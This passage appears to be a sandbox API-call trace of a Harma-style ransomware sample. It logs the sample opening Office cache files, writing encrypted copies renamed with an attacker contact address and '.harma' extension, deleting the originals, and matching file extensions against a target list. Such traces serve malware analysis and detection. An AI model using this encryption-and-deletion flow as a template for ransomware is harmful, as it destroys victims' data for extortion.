lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0040.570] ReadFile (in: hFile=0x168, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.570] WriteFile (in: hFile=0x194, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0040.570] SetEndOfFile (hFile=0x194) returned 1 [0040.570] CloseHandle (hObject=0x194) returned 1 [0040.571] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.571] SetEndOfFile (hFile=0x168) returned 1 [0040.574] CloseHandle (hObject=0x168) returned 1 [0040.574] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.574] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0040.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.575] lstrlenW (lpString=".doc") returned 4 [0040.575] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.575] lstrlenW (lpString=".docx") returned 5 [0040.576] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.576] lstrlenW (lpString=".pdf") returned 4 [0040.576] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.576] lstrlenW (lpString=".xls") returned 4 [0040.576] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.576] lstrlenW (lpString=".xlsx") returned 5 [0040.576] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.576] lstrlenW (lpString=".ppt") returned 4 [0040.576] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.576] lstrlenW (lpString=".zip") returned 4 [0040.576] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.576] lstrlenW (lpString=".rar") returned 4 [0040.576] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.576] lstrlenW (lpString=".bz2") returned 4 [0040.576] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.576] lstrlenW (lpString=".7z") returned 3 [0040.576] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.576] lstrlenW (lpString=".dbf") returned 4 [0040.576] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.576] lstrlenW (lpString=".1cd") returned 4 [0040.576] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.576] lstrlenW (lpString=".jpg") returned 4 [0040.576] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.577] lstrlenW (lpString=".doc") returned 4 [0040.577] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.577] lstrlenW (lpString=".docx") returned 5 [0040.577] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.577] lstrlenW (lpString=".pdf") returned 4 [0040.577] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.577] lstrlenW (lpString=".xls") returned 4 [0040.577] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.577] lstrlenW (lpString=".xlsx") returned 5 [0040.577] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.577] lstrlenW (lpString=".ppt") returned 4 [0040.577] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.577] lstrlenW (lpString=".zip") returned 4 [0040.577] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.577] lstrlenW (lpString=".rar") returned 4 [0040.577] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.577] lstrlenW (lpString=".bz2") returned 4 [0040.577] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.577] lstrlenW (lpString=".7z") returned 3 [0040.577] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.577] lstrlenW (lpString=".dbf") returned 4 [0040.577] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.577] lstrlenW (lpString=".1cd") returned 4 [0040.577] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0040.577] lstrlenW (lpString=".jpg") returned 4 [0040.577] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.578] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.578] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0040.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0040.578] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=5557) returned 1 [0040.578] CloseHandle (hObject=0x168) returned 1 [0040.578] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0040.578] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0040.578] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.578] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0040.579] GetLastError () returned 0x0 [0040.579] ReadFile (in: hFile=0x168, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0040.684] WriteFile (in: hFile=0x194, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0040.685] ReadFile (in: hFile=0x168, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.685] WriteFile (in: hFile=0x194, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0040.685] SetEndOfFile (hFile=0x194) returned 1 [0040.685] CloseHandle (hObject=0x194) returned 1 [0040.690] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.691] SetEndOfFile (hFile=0x168) returned 1 [0040.691] CloseHandle (hObject=0x168) returned 1 [0040.691] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.692] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0040.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.809] lstrlenW (lpString=".doc") returned 4 [0040.809] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.810] lstrlenW (lpString=".docx") returned 5 [0040.810] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.810] lstrlenW (lpString=".pdf") returned 4 [0040.810] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.810] lstrlenW (lpString=".xls") returned 4 [0040.810] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.810] lstrlenW (lpString=".xlsx") returned 5 [0040.810] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.810] lstrlenW (lpString=".ppt") returned 4 [0040.810] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.810] lstrlenW (lpString=".zip") returned 4 [0040.810] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.810] lstrlenW (lpString=".rar") returned 4 [0040.810] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.810] lstrlenW (lpString=".bz2") returned 4 [0040.810] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.810] lstrlenW (lpString=".7z") returned 3 [0040.810] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.810] lstrlenW (lpString=".dbf") returned 4 [0040.810] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.810] lstrlenW (lpString=".1cd") returned 4 [0040.810] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.810] lstrlenW (lpString=".jpg") returned 4 [0040.810] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.810] lstrlenW (lpString=".doc") returned 4 [0040.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.811] lstrlenW (lpString=".docx") returned 5 [0040.811] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.811] lstrlenW (lpString=".pdf") returned 4 [0040.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.811] lstrlenW (lpString=".xls") returned 4 [0040.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.811] lstrlenW (lpString=".xlsx") returned 5 [0040.811] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.811] lstrlenW (lpString=".ppt") returned 4 [0040.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.811] lstrlenW (lpString=".zip") returned 4 [0040.811] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.811] lstrlenW (lpString=".rar") returned 4 [0040.811] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.811] lstrlenW (lpString=".bz2") returned 4 [0040.811] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.811] lstrlenW (lpString=".7z") returned 3 [0040.811] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.811] lstrlenW (lpString=".dbf") returned 4 [0040.811] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.811] lstrlenW (lpString=".1cd") returned 4 [0040.811] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0040.811] lstrlenW (lpString=".jpg") returned 4 [0040.811] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.812] lstrcmpiW (lpString1=".chm", lpString2=".harma") returned -1 [0040.812] lstrlenW (lpString="setup.chm") returned 9 [0040.812] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0040.812] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=67190) returned 1 [0040.812] CloseHandle (hObject=0x1a4) returned 1 [0040.812] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0040.812] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.812] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0040.812] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.812] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0040.813] GetLastError () returned 0x0 [0040.813] ReadFile (in: hFile=0x1a4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x10676, lpOverlapped=0x0) returned 1 [0041.139] WriteFile (in: hFile=0x18c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0041.141] ReadFile (in: hFile=0x1a4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.141] WriteFile (in: hFile=0x18c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.141] SetEndOfFile (hFile=0x18c) returned 1 [0041.141] CloseHandle (hObject=0x18c) returned 1 [0041.157] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.157] SetEndOfFile (hFile=0x1a4) returned 1 [0041.159] CloseHandle (hObject=0x1a4) returned 1 [0041.159] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.159] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0041.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.159] lstrlenW (lpString=".doc") returned 4 [0041.159] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0041.159] lstrlenW (lpString=".docx") returned 5 [0041.159] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0041.159] lstrlenW (lpString=".pdf") returned 4 [0041.159] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0041.159] lstrlenW (lpString=".xls") returned 4 [0041.159] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0041.159] lstrlenW (lpString=".xlsx") returned 5 [0041.159] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0041.160] lstrlenW (lpString=".ppt") returned 4 [0041.160] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0041.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.160] lstrlenW (lpString=".zip") returned 4 [0041.160] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0041.160] lstrlenW (lpString=".rar") returned 4 [0041.160] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0041.160] lstrlenW (lpString=".bz2") returned 4 [0041.160] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0041.160] lstrlenW (lpString=".7z") returned 3 [0041.160] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0041.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.160] lstrlenW (lpString=".dbf") returned 4 [0041.160] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0041.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.160] lstrlenW (lpString=".1cd") returned 4 [0041.160] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0041.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.160] lstrlenW (lpString=".jpg") returned 4 [0041.160] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0041.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.160] lstrlenW (lpString=".doc") returned 4 [0041.160] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0041.160] lstrlenW (lpString=".docx") returned 5 [0041.160] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0041.160] lstrlenW (lpString=".pdf") returned 4 [0041.160] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0041.160] lstrlenW (lpString=".xls") returned 4 [0041.160] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0041.160] lstrlenW (lpString=".xlsx") returned 5 [0041.161] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0041.161] lstrlenW (lpString=".ppt") returned 4 [0041.161] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0041.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.161] lstrlenW (lpString=".zip") returned 4 [0041.161] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0041.161] lstrlenW (lpString=".rar") returned 4 [0041.161] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0041.161] lstrlenW (lpString=".bz2") returned 4 [0041.161] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0041.161] lstrlenW (lpString=".7z") returned 3 [0041.161] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0041.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.161] lstrlenW (lpString=".dbf") returned 4 [0041.161] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0041.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.161] lstrlenW (lpString=".1cd") returned 4 [0041.161] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0041.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0041.161] lstrlenW (lpString=".jpg") returned 4 [0041.161] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0041.161] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.161] lstrlenW (lpString="Setup.xml") returned 9 [0041.161] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0041.162] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2624) returned 1 [0041.162] CloseHandle (hObject=0x1a4) returned 1 [0041.162] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0041.162] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0041.162] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.162] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0041.163] GetLastError () returned 0x0 [0041.163] ReadFile (in: 